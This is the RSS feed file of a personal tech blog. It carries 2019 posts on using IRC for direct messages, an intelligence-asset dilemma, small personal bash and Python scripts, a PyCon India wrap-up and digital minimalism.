all repos — site @ c41a89e81bab1dd681084f895857bec5af97659c

source for my site, found at icyphox.sh

pages/blog/feed.xml (view raw)

   1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
   2  <channel>
   3    <title>icyphox's blog</title>
   4	<link>https://icyphox.sh/blog/</link>
   5    <description>Security, forensics and privacy.</description>
   6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
   7    <image>
   8		<title>icyphox logo</title>
   9      <url>https://icyphox.sh/icyphox.png</url>
  10	  <link>https://icyphox.sh/blog/</link>
  11    </image>
  12    <language>en-us</language>
  13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
  14    <item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
  15daily communications, as opposed to non-free alternatives like WhatsApp
  16or Telegram. This is an account of how that went.</p>
  17
  18<h3 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h3>
  19
  20<p>I&#8217;ve tried a <em>ton</em> of messaging applications &#8211; Signal, WhatsApp,
  21Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
  22
  23<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
  24centralzied architecture, and OWS&#8217;s refusal to federate.</p>
  25
  26<p><strong>WhatsApp</strong>: Facebook&#8217;s spyware that people use without a second
  27thought. The sole reason I have it installed is for University&#8217;s
  28class groups; I can&#8217;t wait to graduate.</p>
  29
  30<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It&#8217;s
  31got a very nice Android client, though.</p>
  32
  33<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
  34on this because I don&#8217;t recall what my experience was like, but I&#8217;m not
  35using it now&#8230; so if that&#8217;s indicative of anything.</p>
  36
  37<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
  38Overall, pretty great, but it&#8217;s slow. I&#8217;ve had messages not send / not
  39received a lot of times. Matrix + Riot excels in group communication, but
  40really sucks for one-to-one chats.</p>
  41
  42<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
  43
  44<p><strong>DeltaChat</strong>: Pretty interesting idea &#8211; on paper. Using existing email
  45infrastructure for IM sounds great, but it isn&#8217;t all that cash in
  46practice. Email isn&#8217;t instant, there&#8217;s always a delay of give or take
  475 to 10 seconds, if not more. This affects the flow of conversation.
  48I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
  49
  50<h3 id="why-irc">Why IRC?</h3>
  51
  52<p>It&#8217;s free, in all senses of the word. A lot of others have done a great
  53job of answering this question in further detail, this is by far my
  54favourite:</p>
  55
  56<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
  57
  58<h3 id="using-ircs-private-messages">Using IRC&#8217;s private messages</h3>
  59
  60<p>This was the next obvious choice, but personal message buffers don&#8217;t
  61persist in ZNC and it&#8217;s very annoying to have to do a <code>/query
  62nerdypepper</code> (Weechat) or to search and message a user via Revolution
  63IRC. The only unexplored option &#8211; using a channel.</p>
  64
  65<h3 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h3>
  66
  67<p>A fairly easy process:</p>
  68
  69<ul>
  70<li>Limit users to 2 (3 if you have a bot)</li>
  71<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
  72
  73<pre><code>#crimson [+ilnpstz 3]
  74</code></pre>
  75
  76<p>In essence, this limits the users to 3, sets the channel to invite only,
  77hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
  78modes.</p></li>
  79<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
  80to send a notification for all messages in the specified buffer
  81(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
  82hand, has an option to setup rules for notifications &#8211; super
  83convenient.</p></li>
  84<li><p>A bot: Lastly, a bot for a few small tasks &#8211; fetching URL titles, responding
  85to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
  86took me about an hour or two to get most of the basic functionality in
  87place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
  88It is by no means &#8220;good code&#8221;; it breaks spectacularly from time to
  89time.</p></li>
  90</ul>
  91
  92<h3 id="in-conclusion">In conclusion</h3>
  93
  94<p>As the subtitle suggests, using IRC has been great. It&#8217;s probably not
  95for everyone though, but it fits my (and Nerdy&#8217;s) usecase perfectly.</p>
  96
  97<p>P.S.: <em>I&#8217;m not sure why the footnotes are reversed.</em></p>
  98
  99<div class="footnotes">
 100<hr />
 101<ol>
 102<li id="fn-modes">
 103<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>.&#160;<a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 104</li>
 105
 106<li id="fn-deltachat">
 107<p>It&#8217;s in <a href="https://github.com/icyphox/site/issues/10">queue</a>.&#160;<a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 108</li>
 109</ol>
 110</div>
 111]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
 112episode a couple of days ago, and it highlighted some interesting issues that
 113intelligence organizations face when working with law enforcement. Side note: it&#8217;s a pretty
 114good show if you like police procedurals.</p>
 115
 116<h3 id="the-problem">The problem</h3>
 117
 118<p>Consider the following scenario:</p>
 119
 120<ul>
 121<li>There&#8217;s a local drug lord who&#8217;s been recruited to provide intel, by a certain 3-letter organization.</li>
 122<li>Local PD busts his operation and proceed to arrest him.</li>
 123<li>3-letter org steps in, wants him released.</li>
 124</ul>
 125
 126<p>So here&#8217;s the thing, his presence is a threat to public but at the same time, 
 127he can be a valuable long term asset &#8211; giving info on drug inflow, exchanges and perhaps even 
 128actionable intel on bigger fish who exist on top of the ladder. But he also
 129seeks security. The 3-letter org must provide him with protection, 
 130in case he&#8217;s blown. And like in our case, they&#8217;d have to step in if he gets arrested.</p>
 131
 132<p>Herein lies the problem. How far should an intelligence organization go to protect an asset? 
 133Who matters more, the people they&#8217;ve sworn to protect, or the asset? 
 134Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
 135
 136<p>Thus, the question arises &#8211; how can we measure the &#8220;usefulness&#8221; of an
 137asset to better quantify the tradeoff that is to be made? 
 138Is the intel gained worth the loss of public safety?
 139This question remains largely unanswered, and is quite the 
 140predicament should you find yourself in it.</p>
 141
 142<p>This was a fairly short post, but an interesting problem to ponder
 143nonetheless.</p>
 144]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
 145to learn to code. Don&#8217;t get me wrong &#8211; it probably works for some.
 146Everyone learns differently. But that&#8217;s only going to get you so far.
 147Great you know the syntax, you can solve some competitive programming
 148problems, but that&#8217;s not quite enough, is it? The actual learning comes
 149from <em>applying</em> it in solving <em>actual</em> problems &#8211; not made up ones.
 150(<em>inb4 some seething CP bro comes at me</em>)</p>
 151
 152<p>Now, what&#8217;s an actual problem? Some might define it as real world
 153problems that people out there face, and solving it probably requires
 154building a product. This is what you see in hackathons, generally.</p>
 155
 156<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
 157face. This could be anything. Heck, it might not even be a &#8220;problem&#8221;. It
 158could just be an itch that you want to scratch. And this is where
 159<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
 160examples.</p>
 161
 162<h3 id="now-playing-status-in-my-bar">Now playing status in my bar</h3>
 163
 164<p>If you weren&#8217;t aware already &#8211; I rice my desktop. A lot. And a part of
 165this cohesive experience I try to create involves a status bar up at the
 166top of my screen, showing the time, date, volume and battery statuses etc.</p>
 167
 168<p>So here&#8217;s the &#8220;problem&#8221;. I wanted to have my currently playing song
 169(Spotify), show up on my bar. How did I approach this? A few ideas
 170popped up in my head:</p>
 171
 172<ul>
 173<li>Send <code>playerctl</code>&#8217;s STDOUT into my bar</li>
 174<li>Write a Python script to query Spotify&#8217;s API</li>
 175<li>Write a Python/shell script to query Last.fm&#8217;s API</li>
 176</ul>
 177
 178<p>The first approach bombed instantly. <code>playerctl</code> didn&#8217;t recognize my
 179Spotify client and whined about some <code>dbus</code> issues to top it off.
 180I spent a while in that rabbit hole but eventually gave up.</p>
 181
 182<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
 183I realize that I&#8217;ll have to make <em>more</em> than one request to fetch the
 184artist and track details. Nope, I need this to work fast.</p>
 185
 186<p>Last resort &#8211; Last.fm&#8217;s API. Spolier alert, this worked. Also, arguably
 187the best choice, since it shows the track status regardless of where
 188the music is being played. Here&#8217;s the script in its entirety:</p>
 189
 190<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
 191<span class="c1"># now playing</span>
 192<span class="c1"># requires the last.fm API key</span>
 193
 194<span class="nb">source</span> ~/.lastfm    <span class="c1"># `export API_KEY=&quot;&lt;key&gt;&quot;`</span>
 195<span class="nv">fg</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">&quot;</span>
 196<span class="nv">light</span><span class="o">=</span><span class="s2">&quot;</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">&quot;</span>
 197
 198<span class="nv">USER</span><span class="o">=</span><span class="s2">&quot;icyphox&quot;</span>
 199<span class="nv">URL</span><span class="o">=</span><span class="s2">&quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&quot;</span>
 200<span class="nv">URL</span><span class="o">+=</span><span class="s2">&quot;&amp;user=</span><span class="nv">$USER</span><span class="s2">&amp;api_key=</span><span class="nv">$API_KEY</span><span class="s2">&amp;format=json&amp;limit=1&amp;nowplaying=true&quot;</span>
 201<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">&quot; &quot;</span>    <span class="c1"># I like to have it show nothing</span>
 202<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
 203<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].&quot;@attr&quot;.nowplaying&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
 204
 205
 206<span class="k">if</span> <span class="o">[[</span> <span class="s2">&quot;</span><span class="nv">$NOWPLAYING</span><span class="s2">&quot;</span> <span class="o">=</span> <span class="s2">&quot;true&quot;</span> <span class="o">]]</span>
 207<span class="k">then</span>
 208    <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].name&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
 209    <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">&#39;.recenttracks.track[0].artist.&quot;#text&quot;&#39;</span> <span class="o">&lt;&lt;&lt;</span> <span class="s2">&quot;</span><span class="nv">$RES</span><span class="s2">&quot;</span> <span class="p">|</span> tr -d <span class="s1">&#39;&quot;&#39;</span><span class="k">)</span>
 210    <span class="nb">echo</span> -ne <span class="s2">&quot;%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">&quot;</span>
 211<span class="k">else</span>
 212    <span class="nb">echo</span> -ne <span class="s2">&quot;</span><span class="nv">$NOTPLAYING</span><span class="s2">&quot;</span>
 213<span class="k">fi</span>
 214</code></pre></div>
 215
 216<p>The <code>source</code> command is used to fetch the API key which I store at
 217<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they&#8217;re only
 218for coloring output on my bar. The rest is fairly trivial and just
 219involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
 220That&#8217;s it! It&#8217;s so small, but I learnt a ton. For those curious, here&#8217;s
 221what it looks like running:</p>
 222
 223<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
 224
 225<h3 id="update-latest-post-on-the-index-page">Update latest post on the index page</h3>
 226
 227<p>This pertains to this very blog that you&#8217;re reading. I wanted a quick
 228way to update the &#8220;latest post&#8221; section in the home page and the
 229<a href="/blog">blog</a> listing, with a link to the latest post. This would require
 230editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
 231of both pages.</p>
 232
 233<p>This was a very
 234interesting challenge to me, primarily because it requires in-place
 235editing of the file, not just appending. Sure, I could&#8217;ve come up with
 236some <code>sed</code> one-liner, but that didn&#8217;t seem very fun. Also I hate
 237regexes. Did a lot of research (read: Googling) on in-place editing of
 238files in Python, sorting lists of files by modification time etc. and
 239this is what I ended up on, ultimately:</p>
 240
 241<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
 242
 243<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
 244<span class="kn">import</span> <span class="nn">os</span>
 245<span class="kn">import</span> <span class="nn">fileinput</span>
 246<span class="kn">import</span> <span class="nn">sys</span>
 247
 248<span class="c1"># change our cwd</span>
 249<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">&quot;bin&quot;</span><span class="p">)</span>
 250
 251<span class="n">blog</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/&quot;</span>
 252
 253<span class="c1"># get the most recently created file</span>
 254<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
 255    <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">&quot;_index.md&quot;</span><span class="p">,</span> <span class="s2">&quot;feed.xml&quot;</span><span class="p">]]</span>
 256    <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
 257    <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
 258
 259<span class="c1"># adding an entry to the markdown table</span>
 260<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
 261    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/_index.md&quot;</span>
 262    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;r&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 263        <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
 264    <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">&quot;| --- | --: |</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span>
 265    <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
 266
 267    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">&quot;w&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
 268        <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
 269
 270<span class="c1"># editing the md source in-place</span>
 271<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
 272    <span class="n">path</span> <span class="o">=</span> <span class="s2">&quot;../pages/blog/_index.md&quot;</span>
 273    <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
 274    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
 275        <span class="k">if</span> <span class="s2">&quot;--:&quot;</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
 276            <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
 277        <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&quot;&quot;</span><span class="p">),</span>
 278
 279
 280<span class="c1"># fetch title and date</span>
 281<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;metadata&quot;</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
 282<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
 283<span class="n">url</span> <span class="o">=</span> <span class="s2">&quot;/blog/&quot;</span> <span class="o">+</span> <span class="n">fname</span>
 284<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">&quot;| [{meta[&#39;title&#39;]}]({url}) | `{meta[&#39;date&#39;]}` |&quot;</span>
 285
 286<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
 287<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
 288</code></pre></div>
 289
 290<p>I&#8217;m going to skip explaining this one out, but in essence, it&#8217;s <strong>one
 291massive hack</strong>. And in the end, that&#8217;s my point exactly. It&#8217;s very
 292hacky, but the sheer amount I learnt by writing this ~50
 293line script can&#8217;t be taught anywhere.</p>
 294
 295<p>This was partially how
 296<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
 297intended to be a script to build my site, but grew into a full-blown
 298Python package. I could&#8217;ve just 
 299used an off-the-shelf static site generator
 300given that there are <a href="https://staticgen.com">so many</a> of them, but
 301I chose to write one myself.</p>
 302
 303<p>And that just about sums up what I wanted to say. The best and most fun
 304way to learn to code &#8211; write hacky scripts. You heard it here.</p>
 305]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I&#8217;ve decided to drop the &#8220;Weekly&#8221; part of the status update posts, since
 306they were never weekly and&#8212;let&#8217;s be honest&#8212;they aren&#8217;t going to be.
 307These posts are, henceforth, just &#8220;Status updates&#8221;. The date range can
 308be inferred from the post date.</p>
 309
 310<p>That said, here&#8217;s what I&#8217;ve been up to!</p>
 311
 312<h3 id="void-linux">Void Linux</h3>
 313
 314<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
 315really. The very comfy <code>apk</code>, ultra mnml system&#8230; but having to
 316maintain a chroot for my glibc needs was getting way too painful. And
 317the package updates are so slow! Heck, they&#8217;re still on kernel 4.xx on
 318their supposed &#8220;bleeding&#8221; <code>edge</code> repo.</p>
 319
 320<p>So yes, Void Linux it is. Still a very clean system. I&#8217;m loving it.
 321I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
 322(-95 mV). Can&#8217;t say for sure if there&#8217;s a noticeable difference in
 323battery life though. I&#8217;ll see if I can run some tests.</p>
 324
 325<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
 326
 327<h3 id="pycon">PyCon</h3>
 328
 329<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
 330
 331<h3 id="this-website">This website</h3>
 332
 333<p>I&#8217;ve moved out of GitHub Pages over to Netlify. This isn&#8217;t my first time
 334using Netlify, though. I used to host my old blog which ran Hugo, there.
 335I was tired of doing this terrible hack to maintain a single repo for
 336both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&#8217;s
 337what I did:</p>
 338
 339<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
 340
 341git push origin master
 342<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
 343git subtree push --prefix build origin gh-pages
 344</code></pre></div>
 345
 346<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
 347by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
 348build</code>. Very pleasant.</p>
 349
 350<h3 id="mnmlwms-status"><code>mnmlwm</code>&#8217;s status</h3>
 351
 352<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
 353window manager written in Nim. I&#8217;d taken a break from it for a while
 354because Xlib is such a pain to work with (or I&#8217;m just dense). Anyway,
 355I&#8217;m planning on getting back to it, with some fresh inspiration from
 356Dylan Araps&#8217; <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
 357
 358<h3 id="other">Other</h3>
 359
 360<p>I&#8217;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
 361Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&#8217;ve just
 362started <em>Kakegurui</em>. I&#8217;ll reserve my opinions for when I update the
 363<a href="/reading">reading log</a>.</p>
 364
 365<p>That&#8217;s about it, and I&#8217;ll see you &#8211; definitely not next week.</p>
 366]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I&#8217;m writing this article as I sit in class, back on the grind. Last
 367weekend&#8212;Oct 12th and 13th&#8212;was PyCon India 2019, in Chennai, India.
 368It was my first PyCon, <em>and</em> my first ever talk at a major conference!
 369This is an account of the all the cool stuff I saw, people I met and the
 370talks I enjoyed.
 371Forgive the lack of pictures &#8211; I prefer living the moment through my 
 372eyes. </p>
 373
 374<h3 id="talks">Talks</h3>
 375
 376<p>So much ML! Not that it&#8217;s a bad thing, but definitely interesting to
 377note. From what I counted, there were about 17 talks tagged under &#8220;Data
 378Science, Machine Learning and AI&#8221;. I&#8217;d have liked to see more talks
 379discussing security and privacy, but hey, the organizers can only pick
 380from what&#8217;s submitted. ;)</p>
 381
 382<p>With that point out of the way, here are some of the talks I really liked:</p>
 383
 384<ul>
 385<li><strong>Python Packaging - where we are and where we&#8217;re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
 386<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
 387<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
 388<li><strong>Let&#8217;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
 389<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>&#8217;s closing
 390keynote</li>
 391</ul>
 392
 393<h3 id="my-talk">My talk (!!!)</h3>
 394
 395<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
 396our smart lock security research. Agreed, it might have been less
 397&#8220;hardware&#8221; and more of a bug on the server-side, but that&#8217;s the thing
 398about IoT right? It&#8217;s so multi-faceted, and is an amalgamation of so
 399many different hardware and software stacks. But, anyway&#8230;</p>
 400
 401<p>I was reassured by folks after the talk that the silence during Q/A was 
 402the &#8220;good&#8221; kind of silence. Was it really? I&#8217;ll never know.</p>
 403
 404<h3 id="some-nice-people-i-met">Some nice people I met</h3>
 405
 406<ul>
 407<li><a href="https://twitter.com/abhirathb">Abhirath</a> &#8211; A 200 IQ lad. Talked to
 408me about everything from computational biology to the physical
 409implementation of quantum computers.</li>
 410<li><a href="https://twitter.com/meain_">Abin</a> &#8211; He recognized me from my
 411<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
 412awesome.</li>
 413<li><a href="https://twitter.com/h6165">Abhishek</a></li>
 414<li>Pradyun and Vikrant (linked earlier)</li>
 415</ul>
 416
 417<p>And a lot of other people doing really great stuff, whose names I&#8217;m
 418forgetting.</p>
 419
 420<h3 id="pictures">Pictures!</h3>
 421
 422<p>It&#8217;s not much, and
 423I can&#8217;t be bothered to format them like a collage or whatever, so I&#8217;ll
 424just dump them here &#8211; as is.</p>
 425
 426<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
 427<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
 428<img src="/static/img/me_talking.jpg" alt="me talking" />
 429<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
 430
 431<h3 id="cest-tout">C&#8217;est tout</h3>
 432
 433<p>Overall, a great time and a weekend well spent. It was very different
 434from your typical security conference &#8211; a lot more <em>chill</em>, if you
 435will. The organizers did a fantastic job and the entire event was put
 436together really well.
 437I don&#8217;t have much else to say, but I know for sure that I&#8217;ll be
 438there next time.</p>
 439
 440<p>That was PyCon India, 2019.</p>
 441]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
 442subject. But this is inherently different, since it&#8217;s <em>my</em> opinion on
 443the matter, and <em>my</em> technique(s) to achieve &#8220;digital minimalism&#8221;.</p>
 444
 445<p>According to me, minimalism can be achieved on two primary fronts &#8211;
 446the phone &amp; the computer. Let&#8217;s start with the phone. The daily carry.
 447The device that&#8217;s on our person from when we get out of bed, till we get
 448back in bed.</p>
 449
 450<h3 id="the-phone">The phone</h3>
 451
 452<p>I&#8217;ve read about a lot of methods people employ to curb their phone
 453usage. Some have tried grouping &#8220;distracting&#8221; apps into a separate
 454folder, and this supposedly helps reduce their usage. Now, I fail to see
 455how this would work, but YMMV. Another technique I see often is using
 456a time governance app&#8212;like OnePlus&#8217; Zen Mode&#8212;to enforce how much
 457time you spend using specific apps, or the phone itself. I&#8217;ve tried this
 458for myself, but I constantly found myself counting down the minutes
 459after which the phone would become usable again. Not helpful.</p>
 460
 461<p>My solution to this is a lot more brutal. I straight up uninstalled the
 462apps that I found myself using too often. There&#8217;s a simple principle
 463behind it &#8211; if the app has a desktop alternative, like Twitter,
 464Reddit, etc. use that instead. Here&#8217;s a list of apps that got nuked from
 465my phone:</p>
 466
 467<ul>
 468<li>Twitter</li>
 469<li>Instagram (an exception, no desktop client)</li>
 470<li>Relay for Reddit</li>
 471<li>YouTube (disabled, ships with stock OOS)</li>
 472</ul>
 473
 474<p>The only non-productive app that I&#8217;ve let remain is Clover, 
 475a 4chan client. I didn&#8217;t find myself using it as much earlier, but we&#8217;ll see how that 
 476holds up. I&#8217;ve also allowed my personal messaging apps to remain, since 
 477removing those would be inconveniencing others.</p>
 478
 479<p>I must admit, I often find myself reaching for my phone out of habit
 480just to check Twitter, only to find that its gone. I also subconsciously
 481tap the place where its icon used to exist (now replaced with my mail
 482client) on my launcher. The only &#8220;fun&#8221; thing left on my phone to do is
 483read or listen to music. Which is okay, in my opinion.</p>
 484
 485<h3 id="the-computer">The computer</h3>
 486
 487<p>I didn&#8217;t do anything too nutty here, and most of the minimalism is
 488mostly aesthetic. I like UIs that get out of the way. </p>
 489
 490<p>My setup right now is just a simple bar at the top showing the time,
 491date, current volume and battery %, along with my workspace indicators.
 492No fancy colors, no flashy buttons and sliders. And that&#8217;s it. I don&#8217;t
 493try to force myself to not use stuff &#8211; after all, I&#8217;ve reduced it
 494elsewhere. :)</p>
 495
 496<p>Now the question arises: Is this just a phase, or will I stick to it?
 497What&#8217;s going to stop me from heading over to the Play Store and
 498installing those apps back? Well, I never said this was going to be
 499easy. There&#8217;s definitely some will power needed to pull this off.
 500I guess time will tell.</p>
